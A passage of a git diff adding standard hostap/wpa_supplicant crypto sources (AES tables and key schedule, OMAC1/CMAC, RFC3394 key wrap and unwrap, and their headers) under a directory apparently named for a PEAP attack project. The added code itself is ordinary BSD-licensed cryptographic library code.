0x4d4d4d4dU, + 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, + 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, + 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, + 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, + 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, + 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, + 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, +}; +const u32 rcon[] = { + 0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ +}; +#else /* AES_SMALL_TABLES */ +const u8 Td4s[256] = { + 0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U, + 0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU, + 0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U, + 0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU, + 0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU, + 0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU, + 0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U, + 0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U, + 0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U, + 0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U, + 0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU, + 0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U, + 0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU, + 0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U, + 0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U, + 0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU, + 0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU, + 0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U, + 0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U, + 0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU, + 0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U, + 0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU, + 0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U, + 0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U, + 0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U, + 0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU, + 0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU, + 0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU, + 0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U, + 0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U, + 0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U, + 0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU, +}; +const u8 rcons[] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 + /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ +}; +#endif /* AES_SMALL_TABLES */ +/** + * Expand the cipher key into the encryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +int rijndaelKeySetupEnc(u32 rk[], const u8 cipherKey[], int keyBits) +{ + int i; + u32 temp; + + rk[0] = GETU32(cipherKey ); + rk[1] = GETU32(cipherKey + 4); + rk[2] = GETU32(cipherKey + 8); + rk[3] = GETU32(cipherKey + 12); + + if (keyBits == 128) { + for (i = 0; i < 10; i++) { + temp = rk[3]; + rk[4] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ + TE443(temp) ^ TE414(temp) ^ RCON(i); + rk[5] = rk[1] ^ rk[4]; + rk[6] = rk[2] ^ rk[5]; + rk[7] = rk[3] ^ rk[6]; + rk += 4; + } + return 10; + } + + rk[4] = GETU32(cipherKey + 16); + rk[5] = GETU32(cipherKey + 20); + + if (keyBits == 192) { + for (i = 0; i < 8; i++) { + temp = rk[5]; + rk[6] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ + TE443(temp) ^ TE414(temp) ^ RCON(i); + rk[7] = rk[1] ^ rk[6]; + rk[8] = rk[2] ^ rk[7]; + rk[9] = rk[3] ^ rk[8]; + if (i == 7) + return 12; + rk[10] = rk[4] ^ rk[9]; + rk[11] = rk[5] ^ rk[10]; + rk += 6; + } + } + + rk[6] = GETU32(cipherKey + 24); + rk[7] = GETU32(cipherKey + 28); + + if (keyBits == 256) { + for (i = 0; i < 7; i++) { + temp = rk[7]; + rk[8] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ + TE443(temp) ^ TE414(temp) ^ RCON(i); + rk[9] = rk[1] ^ rk[8]; + rk[10] = rk[2] ^ rk[9]; + rk[11] = rk[3] ^ rk[10]; + if (i == 6) + return 14; + temp = rk[11]; + rk[12] = rk[4] ^ TE411(temp) ^ TE422(temp) ^ + TE433(temp) ^ TE444(temp); + rk[13] = rk[5] ^ rk[12]; + rk[14] = rk[6] ^ rk[13]; + rk[15] = rk[7] ^ rk[14]; + rk += 8; + } + } + + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-omac1.c b/peapwn/mods/hostap/src/crypto/aes-omac1.c new file mode 100644 index 000000000..27895eb00 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-omac1.c @@ -0,0 +1,118 @@ +/* + * One-key CBC MAC (OMAC1) hash with AES-128 + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +static void gf_mulx(u8 *pad) +{ + int i, carry; + + carry = pad[0] & 0x80; + for (i = 0; i < AES_BLOCK_SIZE - 1; i++) + pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7); + pad[AES_BLOCK_SIZE - 1] <<= 1; + if (carry) + pad[AES_BLOCK_SIZE - 1] ^= 0x87; +} + + +/** + * omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128 + * @key: 128-bit key for the hash operation + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) + * Returns: 0 on success, -1 on failure + * + * This is a mode for using block cipher (AES in this case) for authentication. + * OMAC1 was standardized with the name CMAC by NIST in a Special Publication + * (SP) 800-38B. + */ +int omac1_aes_128_vector(const u8 *key, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + void *ctx; + u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE]; + const u8 *pos, *end; + size_t i, e, left, total_len; + + ctx = aes_encrypt_init(key, 16); + if (ctx == NULL) + return -1; + os_memset(cbc, 0, AES_BLOCK_SIZE); + + total_len = 0; + for (e = 0; e < num_elem; e++) + total_len += len[e]; + left = total_len; + + e = 0; + pos = addr[0]; + end = pos + len[0]; + + while (left >= AES_BLOCK_SIZE) { + for (i = 0; i < AES_BLOCK_SIZE; i++) { + cbc[i] ^= *pos++; + if (pos >= end) { + e++; + pos = addr[e]; + end = pos + len[e]; + } + } + if (left > AES_BLOCK_SIZE) + aes_encrypt(ctx, cbc, cbc); + left -= AES_BLOCK_SIZE; + } + + os_memset(pad, 0, AES_BLOCK_SIZE); + aes_encrypt(ctx, pad, pad); + gf_mulx(pad); + + if (left || total_len == 0) { + for (i = 0; i < left; i++) { + cbc[i] ^= *pos++; + if (pos >= end) { + e++; + pos = addr[e]; + end = pos + len[e]; + } + } + cbc[left] ^= 0x80; + gf_mulx(pad); + } + + for (i = 0; i < AES_BLOCK_SIZE; i++) + pad[i] ^= cbc[i]; + aes_encrypt(ctx, pad, mac); + aes_encrypt_deinit(ctx); + return 0; +} + + +/** + * omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC) + * @key: 128-bit key for the hash operation + * @data: Data buffer for which a MAC is determined + * @data_len: Length of data buffer in bytes + * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) + * Returns: 0 on success, -1 on failure + * + * This is a mode for using block cipher (AES in this case) for authentication. + * OMAC1 was standardized with the name CMAC by NIST in a Special Publication + * (SP) 800-38B. + */ +int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac) +{ + return omac1_aes_128_vector(key, 1, &data, &data_len, mac); +} diff --git a/peapwn/mods/hostap/src/crypto/aes-unwrap.c b/peapwn/mods/hostap/src/crypto/aes-unwrap.c new file mode 100644 index 000000000..9dd51602f --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-unwrap.c @@ -0,0 +1,73 @@ +/* + * AES key unwrap (128-bit KEK, RFC3394) + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) + * @kek: Key encryption key (KEK) + * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 + * bytes + * @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits + * @plain: Plaintext key, n * 64 bits + * Returns: 0 on success, -1 on failure (e.g., integrity verification failed) + */ +int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain) +{ + u8 a[8], *r, b[16]; + int i, j; + void *ctx; + + /* 1) Initialize variables. */ + os_memcpy(a, cipher, 8); + r = plain; + os_memcpy(r, cipher + 8, 8 * n); + + ctx = aes_decrypt_init(kek, 16); + if (ctx == NULL) + return -1; + + /* 2) Compute intermediate values. + * For j = 5 to 0 + * For i = n to 1 + * B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i + * A = MSB(64, B) + * R[i] = LSB(64, B) + */ + for (j = 5; j >= 0; j--) { + r = plain + (n - 1) * 8; + for (i = n; i >= 1; i--) { + os_memcpy(b, a, 8); + b[7] ^= n * j + i; + + os_memcpy(b + 8, r, 8); + aes_decrypt(ctx, b, b); + os_memcpy(a, b, 8); + os_memcpy(r, b + 8, 8); + r -= 8; + } + } + aes_decrypt_deinit(ctx); + + /* 3) Output results. + * + * These are already in @plain due to the location of temporary + * variables. Just verify that the IV matches with the expected value. + */ + for (i = 0; i < 8; i++) { + if (a[i] != 0xa6) + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-wrap.c b/peapwn/mods/hostap/src/crypto/aes-wrap.c new file mode 100644 index 000000000..89d6f94bf --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-wrap.c @@ -0,0 +1,70 @@ +/* + * AES Key Wrap Algorithm (128-bit KEK) (RFC3394) + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) + * @kek: 16-octet Key encryption key (KEK) + * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 + * bytes + * @plain: Plaintext key to be wrapped, n * 64 bits + * @cipher: Wrapped key, (n + 1) * 64 bits + * Returns: 0 on success, -1 on failure + */ +int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher) +{ + u8 *a, *r, b[16]; + int i, j; + void *ctx; + + a = cipher; + r = cipher + 8; + + /* 1) Initialize variables. */ + os_memset(a, 0xa6, 8); + os_memcpy(r, plain, 8 * n); + + ctx = aes_encrypt_init(kek, 16); + if (ctx == NULL) + return -1; + + /* 2) Calculate intermediate values. + * For j = 0 to 5 + * For i=1 to n + * B = AES(K, A | R[i]) + * A = MSB(64, B) ^ t where t = (n*j)+i + * R[i] = LSB(64, B) + */ + for (j = 0; j <= 5; j++) { + r = cipher + 8; + for (i = 1; i <= n; i++) { + os_memcpy(b, a, 8); + os_memcpy(b + 8, r, 8); + aes_encrypt(ctx, b, b); + os_memcpy(a, b, 8); + a[7] ^= n * j + i; + os_memcpy(r, b + 8, 8); + r += 8; + } + } + aes_encrypt_deinit(ctx); + + /* 3) Output the results. + * + * These are already in @cipher due to the location of temporary + * variables. + */ + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes.h b/peapwn/mods/hostap/src/crypto/aes.h new file mode 100644 index 000000000..2de59e04e --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes.h @@ -0,0 +1,21 @@ +/* + * AES functions + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AES_H +#define AES_H + +#define AES_BLOCK_SIZE 16 + +void * aes_encrypt_init(const u8 *key, size_t len); +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); +void aes_encrypt_deinit(void *ctx); +void * aes_decrypt_init(const u8 *key, size_t len); +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); +void aes_decrypt_deinit(void *ctx); + +#endif /* AES_H */ diff --git a/peapwn/mods/hostap/src/crypto/aes_i.h b/peapwn/mods/hostap/src/crypto/aes_i.h new file mode 100644 index 000000000..54375cf35 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes_i.h @@ -0,0 +1,125 @@ +/* + * AES (Rijndael) cipher + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AES_I_H +#define AES_I_H + +#include "aes.h" + +/* #define FULL_UNROLL */ +#define AES_SMALL_TABLES + +extern const u32 Te0[256]; +extern const u32 Te1[256]; +extern const u32 Te2[256]; +extern const u32 Te3[256]; +extern const u32 Te4[256]; +extern const u32 Td0[256]; +extern const u32 Td1[256]; +extern const u32 Td2[256]; +extern const u32 Td3[256]; +extern const u32 Td4[256]; +extern const u32 rcon[10]; +extern const u8 Td4s[256]; +extern const u8 rcons[10]; + +#ifndef AES_SMALL_TABLES + +#define RCON(i) rcon[(i)] + +#define TE0(i) Te0[((i) >> 24) & 0xff] +#define TE1(i) Te1[((i) >> 16) & 0xff] +#define TE2(i) Te2[((i) >> 8) & 0xff] +#define TE3(i) Te3[(i) & 0xff] +#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000) +#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000) +#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00) +#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff) +#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000) +#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000) +#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00) +#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff) +#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000) +#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000) +#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00) +#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff) +#define TE4(i) (Te4[(i)] & 0x000000ff) + +#define TD0(i) Td0[((i) >> 24) & 0xff] +#define TD1(i) Td1[((i) >> 16) & 0xff] +#define TD2(i) Td2[((i) >> 8) & 0xff] +#define TD3(i) Td3[(i) & 0xff] +#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000) +#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000) +#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00) +#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff) +#define TD0_(i) Td0[(i) & 0xff] +#define TD1_(i) Td1[(i) & 0xff] +#define TD2_(i) Td2[(i) & 0xff] +#define TD3_(i) Td3[(i) & 0xff] + +#else /* AES_SMALL_TABLES */ + +#define RCON(i) (rcons[(i)] << 24) + +static inline u32 rotr(u32 val, int bits) +{ + return (val >> bits) | (val << (32 - bits)); +} + +#define TE0(i) Te0[((i) >> 24) & 0xff] +#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8) +#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16) +#define TE3(i) rotr(Te0[(i) & 0xff], 24) +#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000) +#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000) +#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00) +#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff) +#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000) +#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000) +#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00) +#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff) +#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000) +#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000) +#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00) +#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff) +#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff) + +#define TD0(i) Td0[((i) >> 24) & 0xff] +#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8) +#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16) +#define TD3(i) rotr(Td0[(i) & 0xff], 24) +#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24) +#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16) +#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8) +#define TD44(i) (Td4s[(i) & 0xff]) +#define TD0_(i) Td0[(i) & 0xff] +#define TD1_(i) rotr(Td0[(i) & 0xff], 8) +#define TD2_(i) rotr(Td0[(i) & 0xff], 16) +#define TD3_(i) rotr(Td0[(i) & 0xff], 24) + +#endif /* AES_SMALL_TABLES */ + +#ifdef _MSC_VER +#define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00) +#define GETU32(p) SWAP(*((u32 *)(p))) +#define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); } +#else +#define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \ +((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) +#define PUTU32(ct, st) { \ +(ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \ +(ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } +#endif + +#define AES_PRIV_SIZE (4 * 4 * 15 + 4) +#define AES_PRIV_NR_POS (4 * 15) + +int rijndaelKeySetupEnc(u32 rk[], const u8 cipherKey[], int keyBits); + +#endif /* AES_I_H */ diff --git a/peapwn/mods/hostap/src/crypto/aes_wrap.h b/peapwn/mods/hostap/src/crypto/aes_wrap.h new file mode 100644 index 000000000..0433c0434 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes_wrap.h @@ -0,0 +1,64 @@ +/* + * AES-based functions + * + * - AES Key Wrap Algorithm (128-bit KEK) (RFC3394) + * - One-Key CBC MAC (OMAC1) hash with AES-128 + * - AES-128 CTR mode encryption + * - AES-128 EAX mode encryption/decryption + * - AES-128 CBC + * - AES-GCM + * - AES-CCM + * + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AES_WRAP_H +#define AES_WRAP_H + +int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher); +int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain); +int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem, + const u8 *addr[], const size_t *len, + u8 *mac); +int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, + u8 *mac); +int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out); +int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, + u8 *data, size_t data_len); +int __must_check aes_128_eax_encrypt(const u8 *key, + const u8 *nonce, size_t nonce_len, + const u8 *hdr, size_t hdr_len, + u8 *data, size_t data_len, u8 *tag); +int __must_check aes_128_eax_decrypt(const u8 *key, + const u8 *nonce, size_t nonce_len, + const u8 *hdr, size_t hdr_len, + u8 *data, size_t data_len, const u8 *tag); +int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, + size_t data_len); +int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, + size_t data_len); +int __must_check aes_gcm_ae(const u8 *key, size_t key_len, + const u8 *iv, size_t iv_len, + const u8 *plain, size_t plain_len, + const u8 *aad, size_t aad_len, + u8 *crypt, u8 *tag); +int __must_check aes_gcm_ad(const u8 *key, size_t key_len, + const u8 *iv, size_t iv_len, + const u8 *crypt, size_t crypt_len, + const u8 *aad, size_t aad_len, const u8 *tag, + u8 *plain); +int __must_check aes_gmac(const u8 *key, size_t key_len, + const u8 *iv, size_t iv_len, + const u8 *aad, size_t aad_len, u8 *tag); +int __must_check aes_ccm_ae(const u8 *key, size_t key_len, const u8 *nonce, + size_t M, const u8 *plain, size_t plain_len, + const u8 *aad, size_t aad_len, u8 *crypt, u8 *auth); +int __must_check aes_ccm_ad(const u8 *key, size_t key_len, const u8 *nonce, + size_t M, const u8 *crypt, size_t crypt_len, + const u8 *aad, size_t aad_len, const u8 *auth, + u8 *plain); + +#endif /* AES_WRAP_H */ diff --git a/peapwn/mods/hostap/src/crypto/crypto.h b/peapwn/mods/hostap/src/crypto/crypto.h new file mode 100644 index 000000000..9bccaaa8f --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto.h @@ -0,0 +1,785 @@ +/* + * Wrapper functions for crypto libraries + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file defines the cryptographic functions that need to be implemented + * for wpa_supplicant and hostapd. When TLS is not used, internal + * implementation of MD5, SHA1, and AES is used and no external libraries are + * required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the + * crypto library used by the TLS implementation is expected to be used for + * non-TLS needs, too, in order to save space by not implementing these + * functions twice. + * + * Wrapper code for using each crypto library is in its own file (crypto*.c) + * and one of these files is build and linked in to provide the functions + * defined here. + */ + +#ifndef CRYPTO_H +#define CRYPTO_H + +/** + * md4_vector - MD4 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 on failure + */ +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); + +/** + * md5_vector - MD5 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 on failure + */ +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); + + +/** + * sha1_vector - SHA-1 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 on failure + */ +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac); + +/** + * fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF + * @seed: Seed/key for the PRF + * @seed_len: Seed length in bytes + * @x: Buffer for PRF output + * @xlen: Output length in bytes + * Returns: 0 on success, -1 on failure + * + * This function implements random number generation specified in NIST FIPS + * Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to + * SHA-1, but has different message padding. + */ +int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, + size_t xlen); + +/** + * sha256_vector - SHA256 hash for data vector + * @num_elem: Number of elements in the data vector + * @addr: Pointers to the data areas + * @len: Lengths of the data blocks + * @mac: Buffer for the hash + * Returns: 0 on success, -1 on failure + */ +int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac); + +/** + * des_encrypt - Encrypt one block with DES + * @clear: 8 octets (in) + * @key: 7 octets (in) (no parity bits included) + * @cypher: 8 octets (out) + */ +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher); + +/** + * aes_encrypt_init - Initialize AES for encryption + * @key: Encryption key + * @len: Key length in bytes (usually 16, i.e., 128 bits) + * Returns: Pointer to context data or %NULL on failure + */ +void * aes_encrypt_init(const u8 *key, size_t len); + +/** + * aes_encrypt - Encrypt one AES block + * @ctx: Context pointer from aes_encrypt_init() + * @plain: Plaintext data to be encrypted (16 bytes) + * @crypt: Buffer for the encrypted data (16 bytes) + */ +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); + +/** + * aes_encrypt_deinit - Deinitialize AES encryption + * @ctx: Context pointer from aes_encrypt_init() + */ +void aes_encrypt_deinit(void *ctx); + +/** + * aes_decrypt_init - Initialize AES for decryption + * @key: Decryption key + * @len: Key length in bytes (usually 16, i.e., 128 bits) + * Returns: Pointer to context data or %NULL on failure + */ +void * aes_decrypt_init(const u8 *key, size_t len); + +/** + * aes_decrypt - Decrypt one AES block + * @ctx: Context pointer from aes_encrypt_init() + * @crypt: Encrypted data (16 bytes) + * @plain: Buffer for the decrypted data (16 bytes) + */ +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); + +/** + * aes_decrypt_deinit - Deinitialize AES decryption + * @ctx: Context pointer from aes_encrypt_init() + */ +void aes_decrypt_deinit(void *ctx); + + +enum crypto_hash_alg { + CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1, + CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1, + CRYPTO_HASH_ALG_SHA256, CRYPTO_HASH_ALG_HMAC_SHA256 +}; + +struct crypto_hash; + +/** + * crypto_hash_init - Initialize hash/HMAC function + * @alg: Hash algorithm + * @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed + * @key_len: Length of the key in bytes + * Returns: Pointer to hash context to use with other hash functions or %NULL + * on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, + size_t key_len); + +/** + * crypto_hash_update - Add data to hash calculation + * @ctx: Context pointer from crypto_hash_init() + * @data: Data buffer to add + * @len: Length of the buffer + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len); + +/** + * crypto_hash_finish - Complete hash calculation + * @ctx: Context pointer from crypto_hash_init() + * @hash: Buffer for hash value or %NULL if caller is just freeing the hash + * context + * @len: Pointer to length of the buffer or %NULL if caller is just freeing the + * hash context; on return, this is set to the actual length of the hash value + * Returns: 0 on success, -1 if buffer is too small (len set to needed length), + * or -2 on other failures (including failed crypto_hash_update() operations) + * + * This function calculates the hash value and frees the context buffer that + * was used for hash calculation. + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len); + + +enum crypto_cipher_alg { + CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES, + CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4 +}; + +struct crypto_cipher; + +/** + * crypto_cipher_init - Initialize block/stream cipher function + * @alg: Cipher algorithm + * @iv: Initialization vector for block ciphers or %NULL for stream ciphers + * @key: Cipher key + * @key_len: Length of key in bytes + * Returns: Pointer to cipher context to use with other cipher functions or + * %NULL on failure + * + * This function is only used with internal TLSv1 implementation + * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need + * to implement this. + */ +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len); + +/** + * crypto_cipher_encrypt - Cipher encrypt + * @ctx: Context pointer from crypto_cipher_init() + * @plain: Plaintext to cipher + * @crypt: Resulting ciphertext + * @len: Length of the plaintext + * 